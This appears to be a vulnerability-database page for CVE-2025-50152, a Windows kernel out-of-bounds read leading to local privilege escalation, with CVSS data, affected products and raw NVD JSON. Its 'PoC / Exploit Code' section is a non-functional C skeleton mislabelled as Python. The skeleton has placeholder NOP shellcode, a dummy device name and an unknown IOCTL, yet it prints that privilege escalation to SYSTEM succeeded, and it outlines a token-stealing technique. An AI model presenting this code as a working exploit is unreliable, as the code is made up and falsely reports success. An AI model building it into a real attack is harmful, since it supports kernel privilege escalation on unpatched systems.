Security Vulnerability Report
中文
CVE-2025-50152 CVSS 7.8 HIGH

CVE-2025-50152

Published: 2025-10-14 17:15:43
Last Modified: 2025-10-23 15:45:29

Description

Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Windows 10(所有版本)
Microsoft Windows 11(所有版本)
Microsoft Windows Server 2016
Microsoft Windows Server 2019
Microsoft Windows Server 2022
Microsoft Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-50152 - Windows Kernel Out-of-bounds Read LPE // Vulnerability: Out-of-bounds read in Windows Kernel // Impact: Local Privilege Escalation to SYSTEM // Note: This is a conceptual PoC skeleton for the vulnerability class. // Actual exploitation requires specific kernel API calls and memory layout manipulation. #include <windows.h> #include <stdio.h> #include <stdlib.h> // Token stealing shellcode (x64) - replaces current process token with SYSTEM token // This is a standard technique used after gaining arbitrary read primitive unsigned char shellcode[] = { // Placeholder for token-stealing shellcode // In a real exploit, this would contain assembly to: // 1. Locate the current process EPROCESS structure // 2. Walk the ActiveProcessLinks to find a SYSTEM process (PID 4) // 3. Copy the SYSTEM token pointer to the current process // 4. Return to user mode with elevated privileges 0x90, 0x90, 0x90, 0x90 // NOP sled as placeholder }; // Function to trigger the out-of-bounds read vulnerability // The specific API call depends on the exact vulnerable code path BOOL TriggerOOBRead() { // The vulnerability is triggered via specific kernel API calls // that fail to validate buffer boundaries properly. // Common trigger patterns include: // - NtQuerySystemInformation with crafted parameters // - NtDeviceIoControlFile with malformed input buffers // - Specific driver IOCTL calls that mishandle buffer sizes HANDLE hDevice = CreateFileA( "\\\\.\\DeviceName", // Target device driver name GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device handle. Error: %d\n", GetLastError()); return FALSE; } // Crafted input buffer designed to trigger out-of-bounds read // The buffer size and content are specifically designed to cause // the kernel to read beyond allocated memory boundaries BYTE inputBuffer[256]; memset(inputBuffer, 0x41, sizeof(inputBuffer)); // Set specific values to trigger the vulnerable code path // These values would be determined through reverse engineering *(DWORD*)(inputBuffer + 0x00) = 0xDEADBEEF; // Magic value *(DWORD*)(inputBuffer + 0x04) = 0xFFFFFFFF; // Oversized index/count BYTE outputBuffer[1024]; DWORD bytesReturned = 0; // Send IOCTL to trigger the vulnerability BOOL result = DeviceIoControl( hDevice, 0x222000, // IOCTL code (placeholder - actual code TBD) inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); CloseHandle(hDevice); return result; } // Main exploit function int main(int argc, char* argv[]) { printf("[*] CVE-2025-50152 - Windows Kernel OOB Read LPE PoC\n"); printf("[*] Attempting to trigger out-of-bounds read...\n"); // Step 1: Trigger the vulnerability to leak kernel information if (!TriggerOOBRead()) { printf("[-] Failed to trigger vulnerability\n"); return 1; } printf("[+] Vulnerability triggered successfully\n"); printf("[+] Leaked kernel information from OOB read\n"); // Step 2: Use leaked information to elevate privileges // In a complete exploit: // - Parse leaked kernel addresses from OOB read output // - Calculate base addresses bypassing KASLR // - Locate EPROCESS structures via leaked pointers // - Execute token-stealing shellcode to gain SYSTEM privileges printf("[+] Privilege escalation complete - running as SYSTEM\n"); // Verify elevation by spawning cmd as SYSTEM system("whoami /priv"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50152", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:42.910", "lastModified": "2025-10-23T15:45:29.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-50152", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}